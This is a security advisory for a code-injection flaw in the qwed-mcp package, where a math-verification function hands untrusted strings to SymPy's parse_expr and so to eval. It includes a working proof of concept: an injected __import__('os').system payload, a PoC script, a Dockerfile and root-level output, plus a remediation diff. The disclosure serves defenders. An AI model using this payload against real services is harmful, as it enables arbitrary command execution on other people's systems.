GHSA-mw6r-2hvm-4rp2: Code Injection
Summary
verifymathexpression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parseexpr() without restricting globaldict or validating the expression's AST. Because parseexpr() internally calls eval() and Python automatically injects the current module's builtins when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including import('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.
Details
The vulnerability resides in src/qwedmcp/engines/mathengine.py. The public function verifymathexpression(expression, claimedresult, operation) accepts both the expression and claimedresult arguments as raw strings and passes them — after a trivial ^ → substitution — to sympy.parsing.sympyparser.parseexpr():
python mathengine.py:50-54 expr = parseexpr( expression.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, transformations=transformations )
python mathengine.py:64-68 claimed = parseexpr( claimedresult.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, transformations=transformations )
localdict only adds math symbols to the evaluation namespace; it does not remove builtins. SymPy's parseexpr() eventually calls Python's built-in eval(), which — absent an explicit {"builtins": {}} in globaldict — receives the full built-in namespace. This makes import, open, exec, and every other Python built-in available to the evaluated expression.
There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parseexpr() calls (lines 50 and 64).
Data flow:
1. Source — mathengine.py:13-16: external caller supplies expression and claimedresult. 2. Propagation — mathengine.py:50-54: expression substituted and forwarded to parseexpr(). 3. Propagation — mathengine.py:64-68: claimedresult substituted and forwarded to parseexpr(). 4. Sink — sympy.parsing.sympyparser.parseexpr(): calls eval() with unrestricted builtins.
PoC
Environment setup
bash Clone the repository at the affected commit git clone https://github.com/QWED-AI/qwed-mcp cd qwed-mcp git checkout 54ac682699407310b5a71fbaed8c33f581b84301
Option A — direct Python python3 -m venv /tmp/qwed-mcp-venv source /tmp/qwed-mcp-venv/bin/activate pip install sympy>=1.12
Option B — Docker (used for Phase 2 verification) docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi1775QWED-AIqwed-mcp docker run --rm vuln001-rce
Exploit input
python import importlib.util, sys, os
spec = importlib.util.specfromfilelocation( "qwedmcp.engines.mathengine", "src/qwedmcp/engines/mathengine.py" ) mod = importlib.util.modulefromspec(spec) sys.modules["qwedmcp.engines.mathengine"] = mod spec.loader.execmodule(mod) verifymathexpression = mod.verifymathexpression
payload = "import('os').system('id > /tmp/vuln001rceoutput.txt && hostname >> /tmp/vuln001rceoutput.txt && touch /tmp/vuln001rcemarker')" verifymathexpression(payload, "0")
print("markerexists:", os.path.exists("/tmp/vuln001rcemarker")) with open("/tmp/vuln001rceoutput.txt") as f: print(f.read())
Expected output (Phase 2 Docker observation)
[+] EXPLOIT SUCCESSFUL [+] Marker file present : /tmp/vuln001rcemarker [+] RCE command output : --- BEGIN OUTPUT --- uid=0(root) gid=0(root) groups=0(root) 2d2fe45d37b6 --- END OUTPUT ---
[RESULT] PASS — deterministic RCE evidence observed inside container
The marker file /tmp/vuln001rcemarker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.
Remediation
Apply AST allowlisting and restrict globaldict before every parseexpr() call:
diff --- a/src/qwedmcp/engines/mathengine.py +++ b/src/qwedmcp/engines/mathengine.py import logging +import ast from typing import Optional
+ALLOWEDNAMES = {"x", "y", "z", "pi", "e"} +ALLOWEDFUNCS = {"sqrt", "sin", "cos", "exp", "log"} +ALLOWEDAST = ( + ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load, + ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod, + ast.USub, ast.UAdd, +) + +def validatemathsyntax(expr: str) -> None: + tree = ast.parse(expr.replace("^", ""), mode="eval") + for node in ast.walk(tree): + if not isinstance(node, ALLOWEDAST): + raise ValueError(f"Unsupported syntax: {type(node).name}") + if isinstance(node, ast.Name) and node.id not in ALLOWEDNAMES | ALLOWEDFUNCS: + raise ValueError(f"Unsupported symbol: {node.id}") + if isinstance(node, ast.Call): + if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWEDFUNCS: + raise ValueError("Only approved math functions are allowed") + if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)): + raise ValueError("Only numeric constants are allowed") + +safeglobals = {"builtins": {}} + - expr = parseexpr( + validatemathsyntax(expression) + expr = parseexpr( expression.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, + globaldict=safeglobals, transformations=transformations ) - claimed = parseexpr( + validatemathsyntax(claimedresult) + claimed = parseexpr( claimedresult.replace("^", ""), localdict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, + globaldict=safeglobals, transformations=transformations )
Impact
Any caller that passes attacker-controlled input to verifymathexpression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:
- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2). - Read, write, or delete files accessible to the process. - Exfiltrate secrets (API keys, environment variables, credentials) from the process environment. - Pivot to internal services reachable from the host.
The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verifymathexpression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.
Reproduction artifacts
Dockerfile
dockerfile FROM python:3.12-slim
LABEL vuln="VULN-001" \ title="Unsafe SymPy parseexpr() RCE" \ cwe="CWE-94" \ target="QWED-AI/qwed-mcp@0.2.0"
WORKDIR /app
Copy only the package source tree from the cloned repo. mathengine.py only imports sympy at runtime; full project deps (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC. COPY repo/src /app/src
Install the single runtime dependency used by the vulnerable module. RUN pip install --no-cache-dir "sympy>=1.12"
Copy the proof-of-concept script. COPY vuln-001/poc.py /app/poc.py
Make qwedmcp importable via the local source tree. ENV PYTHONPATH=/app/src
CMD ["python3", "/app/poc.py"]
poc.py
python """ VULN-001 Proof of Concept ========================= Target : QWED-AI/qwed-mcp v0.2.0 Module : src/qwedmcp/engines/mathengine.py Function: verifymathexpression(expression, claimedresult, operation)
Root cause ---------- verifymathexpression() passes attacker-controlled strings directly to sympy.parsing.sympyparser.parseexpr() without restricting globaldict. parseexpr() ultimately calls eval() with SymPy's namespace as globals. Because that namespace does not set builtins to {}, Python injects the current module's builtins automatically, making import available.
Attack ------ Inject a Python expression as the 'expression' or 'claimedresult' argument: import('os').system('<shell command>')
The system() call executes before parseexpr() tries to interpret the return value as a SymPy expression.
Expected evidence of exploitation ---------------------------------- 1. /tmp/vuln001rcemarker is created inside the container. 2. /tmp/vuln001rceoutput.txt contains the output of id and hostname. 3. The script exits 0; any other exit code means exploitation failed. """
import os import sys
MARKERFILE = "/tmp/vuln001rcemarker" OUTPUTFILE = "/tmp/vuln001rceoutput.txt"
def runpoc() -> bool: """Run the PoC; return True on confirmed exploitation, False otherwise.""" print("=" 60) print("VULN-001 — Unsafe SymPy parseexpr() RCE — PoC") print("=" 60)
# --- Step 1: import the vulnerable function --- # qwedmcp/init.py pulls in the full MCP server stack (mcp, httpx, etc.). # We load mathengine.py directly via importlib to exercise the vulnerable # module in isolation, exactly as an attacker who calls the library API would. print("[] Importing vulnerable function via importlib (direct module load) ...") import importlib.util import sys as sys
modulepath = "/app/src/qwedmcp/engines/mathengine.py" try: spec = importlib.util.specfromfilelocation( "qwedmcp.engines.mathengine", modulepath ) mod = importlib.util.modulefromspec(spec) sys.modules["qwedmcp.engines.mathengine"] = mod spec.loader.execmodule(mod) verifymathexpression = mod.verifymathexpression except Exception as exc: print(f"[-] Import failed: {exc}") return False print(f"[+] verifymathexpression loaded from {modulepath}")
# --- Step 2: craft the RCE payload --- # The payload is injected as the expression argument. # Shell commands: # id — prints current user/uid/gid (confirms arbitrary execution) # hostname — prints container hostname (confirms in-container execution) # touch — creates a marker file (machine-checkable evidence) shellcmd = ( f"id > {OUTPUTFILE} && " f"hostname >> {OUTPUTFILE} && " f"touch {MARKERFILE}" ) payload = f"import('os').system('{shellcmd}')" print(f"\n[] Injection payload (expression argument):\n {payload}\n")
# --- Step 3: call the vulnerable function --- print("[] Calling verifymathexpression(payload, '0') ...") result = verifymathexpression(payload, "0") print(f"[] Return value: {result}\n")
# --- Step 4: verify exploitation evidence --- markerexists = os.path.exists(MARKERFILE) outputexists = os.path.exists(OUTPUTFILE)
if markerexists and outputexists: with open(OUTPUTFILE) as fh: rceoutput = fh.read().strip() print("[+] EXPLOIT SUCCESSFUL ") print(f"[+] Marker file present : {MARKERFILE}") print(f"[+] RCE command output :\n--- BEGIN OUTPUT ---\n{rceoutput}\n--- END OUTPUT ---") return True
# Partial evidence (marker only, no output, or vice-versa) still counts. if markerexists: print("[+] EXPLOIT SUCCESSFUL (marker only) ") print(f"[+] Marker file present : {MARKERFILE}") return True
print("[-] EXPLOIT FAILED — marker file not found") print(f"[-] Expected: {MARKERFILE}") return False
def main() -> None: success = runpoc() if success: print("\n[RESULT] PASS — deterministic RCE evidence observed inside container") sys.exit(0) else: print("\n[RESULT] FAIL — could not confirm arbitrary code execution") sys.exit(1)
if name == "main": main()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/qwed-mcpto a version that resolves this vulnerability.Fixed in 0.2.1 - Configuration
Apply AST allowlisting and restrict `global_dict` before every `parse_expr()` call in `verify_math_expression()`. Set `safe_globals = {"__builtins__": {}}` and pass it as `global_dict` to both `parse_expr()` invocations so Python cannot access `__import__`, `open`, `exec`, or other built-ins.
qwed-mcp src/qwed_mcp/engines/math_engine.py (verify_math_expression) sympy.parsing.sympy_parser.parse_expr global_dict = {"__builtins__": {}} - Configuration
Before calling `parse_expr()`, run `_validate_math_syntax()` on both `expression` and `claimed_result` and reject anything not in the allowlist. Specifically reject nodes where `node.func` is not an allowed function name (in `ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}`), reject `ast.Name` identifiers not in `ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}`, and raise on unsupported syntax/types not in `ALLOWED_AST` (e.g., only allow `ast.Constant` with numeric values, `ast.Call`, `ast.Name`, `ast.BinOp`, `ast.UnaryOp`, etc.).
qwed-mcp src/qwed_mcp/engines/math_engine.py expression/claimed_result validation = Only allowed AST nodes and allowed symbols/functions
Event History
Frequently Asked Questions
Who can exploit this issue?
Any remote party able to submit values to the public verify_math_expression function can exploit it. No authentication, special configuration, or user interaction is required.
What level of access can exploitation provide?
An attacker can execute arbitrary operating-system commands in the context of the running qwed-mcp process. Confirmed exploitation in a Docker container resulted in root-level command execution.
Which inputs are dangerous?
Both the expression and claimed_result arguments are accepted as raw strings and passed to SymPy parsing without restricting the evaluation environment or validating the expression AST. Replacing ^ with ** does not prevent embedded Python expressions from being evaluated.
How can I determine whether my deployment is affected?
Deployments using qwed-mcp version 0.2.0 are affected when untrusted parties can reach verify_math_expression. The vulnerable implementation is in src/qwed_mcp/engines/math_engine.py and calls parse_expr() on supplied strings with only a local_dict specified.